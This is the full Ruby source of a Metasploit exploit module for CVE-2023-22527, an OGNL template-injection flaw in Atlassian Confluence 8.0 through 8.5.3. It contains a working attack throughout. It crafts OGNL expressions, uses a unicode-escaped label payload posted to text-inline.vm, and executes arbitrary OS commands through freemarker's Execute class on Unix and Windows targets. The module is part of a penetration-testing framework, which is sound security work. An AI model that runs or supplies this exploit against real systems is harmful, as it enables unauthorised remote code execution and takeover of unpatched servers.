Atlassian Confluence SSTI Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Atlassian Confluence SSTI Injection',        'Description' => %q{          This module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses          the injection to evaluate an OGNL expression resulting in OS command execution.          Versions 8.5.0 through 8.5.3 and 8.0 to 8.4 are known to be vulnerable.        },        'Author' => [          'Rahul Maini', # ProjectDiscovery analysis          'Harsh Jaiswal', # ProjectDiscovery analysis          'Spencer McIntyre'        ],        'References' => [          ['CVE', '2023-22527'],          ['URL', 'https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html'],          ['URL', 'https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/']        ],        'DisclosureDate' => '2024-01-16', # Atlassian advisory released        'License' => MSF_LICENSE,        'Platform' => ['unix', 'linux', 'win'],        'Arch' => [ARCH_CMD],        'Privileged' => false,        'Targets' => [          [            'Unix Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD            }          ],          [            'Windows Command',            {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'Payload' => { 'Space' => 8191, 'DisableNops' => true }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 8090        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'Base path', '/'])    ])  end  def get_confluence_platform    # this method gets the platform by exploiting CVE-2023-22527    return @confluence_platform if @confluence_platform    header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"    ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')      @org.apache.struts2.ServletActionContext@getResponse().setHeader(        '#{header}',        (@java.lang.System@getProperty('os.name'))      )    OGNL    res = inject_ognl(ognl)    return nil unless res    res.headers[header]  end  def check    confluence_version = get_confluence_version    return CheckCode::Unknown('Failed to determine the Confluence version.') unless confluence_version    vprint_status("Detected Confluence version: #{confluence_version}")    if confluence_version > Rex::Version.new('8.5.3')      return CheckCode::Safe("Version #{confluence_version} is not affected.")    end    confluence_platform = get_confluence_platform    unless confluence_platform      return CheckCode::Safe('Failed to test OGNL injection.')    end    vprint_status("Detected target platform: #{confluence_platform}")    CheckCode::Vulnerable('Successfully tested OGNL injection.')  end  def exploit    confluence_platform = get_confluence_platform    unless confluence_platform      fail_with(Failure::NotVulnerable, 'The target is not vulnerable.')    end    unless confluence_platform.downcase.start_with?('win') == (target['Platform'] == 'win')      fail_with(Failure::NoTarget, "The target platform '#{confluence_platform}' is incompatible with '#{target.name}'")    end    print_status("Executing #{payload_instance.refname} (#{target.name})")    execute_command(payload.encoded)  end  def execute_command(cmd, _opts = {})    param = rand_text_alphanumeric(6..10)    # reference a parameter in the OGNL to work around the 200 character length limit    ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')      (new freemarker.template.utility.Execute()).exec(        {@org.apache.struts2.ServletActionContext@getRequest().getParameter('#{param}')}      )    OGNL    if target['Platform'] == 'win'      vars_post = { param => "cmd.exe /c \"#{cmd}\"" }    else      # the command is executed via Runtime.exec, so sh -c "#{cmd}" will not work with all payloads      # see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html?m=1      vars_post = { param => "sh -c $@|sh . echo #{cmd}" }    end    inject_ognl(ognl, 'vars_post' => vars_post)  end  def inject_ognl(ognl, opts = {})    opts = opts.clone    param = rand_text_alphanumeric(6..10)    final_opts = {      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'template/aui/text-inline.vm'),      'vars_post' => {        # label and param are both limited to a 200 character length by default        'label' => "\\u0027+#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.#{param},{})+\\u0027",        param => ognl      }.merge(opts.delete('vars_post') || {})    }.merge(opts)    send_request_cgi(final_opts)  endend